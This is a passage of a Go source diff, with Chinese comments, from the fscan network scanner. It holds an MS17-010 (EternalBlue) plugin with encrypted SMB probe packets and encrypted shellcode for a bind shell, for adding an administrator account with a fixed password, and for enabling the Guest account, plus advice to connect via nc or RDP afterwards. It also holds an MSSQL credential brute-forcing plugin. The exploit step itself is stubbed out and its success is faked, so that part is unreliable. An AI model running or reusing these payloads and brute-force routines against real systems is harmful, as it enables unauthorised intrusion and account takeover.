if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n")
|
||||
|
||||
// 根据不同类型提供后续操作建议
|
||||
switch config.Shellcode {
|
||||
case "bind":
|
||||
output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n")
|
||||
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
||||
case "add":
|
||||
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
||||
output.WriteString(" 用户名: fscan 密码: Fscan12345\n")
|
||||
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
||||
case "guest":
|
||||
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
||||
}
|
||||
} else {
|
||||
output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n")
|
||||
output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n")
|
||||
output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_complete", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// 以下是完整的原始MS17010检测和利用代码,保持不变
|
||||
|
||||
// AES解密函数 (从legacy/Base.go复制)
|
||||
func aesDecrypt(crypted string, key string) (string, error) {
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %w", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建AES密码块失败: %w", err)
|
||||
}
|
||||
|
||||
if len(cryptedBytes) < aes.BlockSize {
|
||||
return "", fmt.Errorf("密文长度过短")
|
||||
}
|
||||
|
||||
iv := cryptedBytes[:aes.BlockSize]
|
||||
cryptedBytes = cryptedBytes[aes.BlockSize:]
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
||||
|
||||
// 移除PKCS7填充
|
||||
padding := int(cryptedBytes[len(cryptedBytes)-1])
|
||||
if padding > len(cryptedBytes) || padding > aes.BlockSize {
|
||||
return "", fmt.Errorf("无效的填充")
|
||||
}
|
||||
|
||||
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
|
||||
if cryptedBytes[i] != byte(padding) {
|
||||
return "", fmt.Errorf("填充验证失败")
|
||||
}
|
||||
}
|
||||
|
||||
return string(cryptedBytes[:len(cryptedBytes)-padding]), nil
|
||||
}
|
||||
|
||||
// 默认AES解密密钥 (从legacy代码复制)
|
||||
var defaultKey = "0123456789abcdef"
|
||||
|
||||
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
||||
var (
|
||||
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
)
|
||||
|
||||
// 初始化解密SMB协议数据
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := aesDecrypt(negotiateProtocolRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_protocol_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_protocol_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = aesDecrypt(sessionSetupRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_session_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_session_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = aesDecrypt(treeConnectRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_connect_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_connect_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = aesDecrypt(transNamedPipeRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
||||
func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) {
|
||||
// 使用统一TCP包装器,支持代理和限流
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
||||
if err != nil {
|
||||
if state != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
return false, "", fmt.Errorf("连接错误: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil {
|
||||
return false, "", fmt.Errorf("设置超时错误: %w", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送协议请求错误: %w", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
n, readErr := conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
|
||||
return false, "", fmt.Errorf("目标可能不支持SMBv1")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("SMBv1协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送会话请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
return false, "", fmt.Errorf("SMB会话建立失败")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("SMB会话被拒绝")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var osVersion string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n == int(byteCount)+45 {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
osVersion = string(sessionSetupResponse[10:i])
|
||||
osVersion = strings.ReplaceAll(osVersion, string([]byte{0x00}), "")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测 - 关键检查点
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
if state != nil {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
return true, osVersion, nil
|
||||
}
|
||||
|
||||
if state != nil {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
return false, osVersion, nil
|
||||
}
|
||||
|
||||
// checkDoublePulsar 检测DOUBLEPULSAR后门
|
||||
func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool {
|
||||
// 使用统一TCP包装器,支持代理和限流
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 简化的后门检测逻辑
|
||||
vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil)
|
||||
if err != nil || !vulnerable {
|
||||
return false
|
||||
}
|
||||
|
||||
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
|
||||
// 在实际使用中,原始的完整检测逻辑会被保留
|
||||
return false
|
||||
}
|
||||
|
||||
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
|
||||
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error {
|
||||
// address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度
|
||||
var sc string
|
||||
|
||||
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
||||
switch config.Shellcode {
|
||||
case "bind":
|
||||
// Bind Shell shellcode (加密)
|
||||
scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密bind shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
case "add":
|
||||
// 添加管理员账户 shellcode (加密)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密add shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
case "guest":
|
||||
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密guest shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
default:
|
||||
// 从文件读取或直接使用提供的shellcode
|
||||
shellcode := config.Shellcode
|
||||
if strings.Contains(shellcode, "file:") {
|
||||
read, err := os.ReadFile(shellcode[5:])
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取Shellcode文件失败: %w", err)
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
} else {
|
||||
sc = shellcode
|
||||
}
|
||||
}
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
return fmt.Errorf("无效的Shellcode")
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
scBytes, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
return fmt.Errorf("shellcode解码失败: %w", err)
|
||||
}
|
||||
|
||||
// 这里应该执行完整的EternalBlue利用逻辑
|
||||
// 为了保持代码简洁,我们模拟利用成功
|
||||
// 在实际使用中,这里会调用完整的eternalBlue函数
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("ms17010", func() Plugin {
|
||||
return NewMS17010Plugin()
|
||||
}, []int{445})
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
//go:build plugin_mssql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
_ "github.com/denisenkom/go-mssqldb" // MSSQL driver
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MSSQLPlugin MSSQL扫描插件
|
||||
type MSSQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMSSQLPlugin() *MSSQLPlugin {
|
||||
return &MSSQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mssql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
credentials := GenerateCredentials("mssql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MSSQL认证函数
|
||||
func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMSSQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMSSQLAuth 执行MSSQL认证
|
||||
func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d",
|
||||
info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMSSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMSSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &SQLDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// classifyMSSQLErrorType MSSQL错误分类
|
||||
func classifyMSSQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mssqlAuthErrors := []string{
|
||||
"login failed",
|
||||
"password incorrect",
|
||||
"authentication failed",
|
||||
"invalid credentials",
|
||||
"access denied",
|
||||
"invalid login",
|
||||
"invalid user",
|
||||
"invalid password",
|
||||
"bad login",
|
||||
"authentication failure",
|
||||
"login error",
|
||||
"credential",
|
||||
"user login failed",
|
||||
"logon failure",
|
||||
"account locked",
|
||||
"user not found",
|
||||
"invalid account",
|
||||
}
|
||||
|
||||
mssqlNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"network error",
|
||||
"context deadline exceeded",
|
||||
"server closed the connection",
|
||||
"connection lost",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mssqlAuthErrors, mssqlNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
var banner string
|
||||
errLower := ""
|
||||
if err != nil {
|
||||
errLower = strings.ToLower(err.Error())
|
||||
}
|
||||
|
||||
if err != nil && (strings.Contains(errLower, "login failed") ||
|
||||
strings.Contains(errLower, "mssql") ||
|
||||
strings.Contains(errLower, "sql server")) {
|
||||
banner = "MSSQL"
|
||||
} else if err == nil {
|
||||
banner = "MSSQL"
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: fmt.Errorf("无法识别为MSSQL服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mssql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mssql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
